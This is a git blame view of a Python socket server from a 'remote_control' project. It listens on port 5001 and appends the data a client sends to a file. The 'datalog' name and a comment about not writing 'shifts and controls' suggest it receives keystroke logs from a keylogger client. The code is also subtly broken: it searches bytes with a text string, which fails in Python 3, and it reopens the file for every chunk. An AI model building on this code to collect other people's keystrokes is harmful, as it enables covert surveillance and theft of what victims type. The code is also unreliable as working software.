remote_control_python_script/Client/serversend - datalog.py

55 lines
1.6 KiB
Python
Raw Normal View History

2020-12-10 08:00:26 +00:00
import socket
import os
2020-12-10 08:32:59 +00:00
2020-12-10 08:00:26 +00:00
# device's IP address
SERVER_HOST = "127.0.0.1" #(socket.gethostbyname(socket.gethostname()))
SERVER_PORT = 5001
# receive 4096 bytes each time
2020-12-10 08:32:59 +00:00
BUFFER_SIZE = 128
2020-12-10 08:00:26 +00:00
SEPARATOR = "<SEPARATOR>"
# create the server socket
# TCP socket
s = socket.socket()
# bind the socket to our local address
s.bind((SERVER_HOST, SERVER_PORT))
# enabling our server to accept connections
# 5 here is the number of unaccepted connections that
# the system will allow before refusing new connections
s.listen(5)
print(f"[*] Listening as {SERVER_HOST}:{SERVER_PORT}")
# accept connection if there is any
client_socket, address = s.accept()
# if below code is executed, that means the sender is connected
print(f"[+] {address} is connected.")
# receive the file infos
# receive using client socket, not server socket
received = client_socket.recv(BUFFER_SIZE).decode()
filename, filesize = received.split(SEPARATOR)
# remove absolute path if there is
filename = os.path.basename(filename)
# convert to integer
filesize = int(filesize)
# start receiving the file from the socket
# and writing to the file stream
2020-12-10 08:44:59 +00:00
2020-12-10 08:00:26 +00:00
#with open(filename, "wb") as f:
while True:
2020-12-10 08:44:59 +00:00
# read 1024 bytes from the socket (receive)
bytes_read = client_socket.recv(BUFFER_SIZE)
if not bytes_read:
# nothing is received
# file transmitting is done take another time
break
# write to the file the bytes we just received
f = open(filename, 'ab')
2020-12-10 10:10:32 +00:00
if (bytes_read.find("Key") == -1): #don't write shifts and controls
f.write(bytes_read)
2020-12-10 08:44:59 +00:00
print(bytes_read)
f.close()
2020-12-10 08:00:26 +00:00
# close the client socket
#client_socket.close()
# close the server socket
#s.close()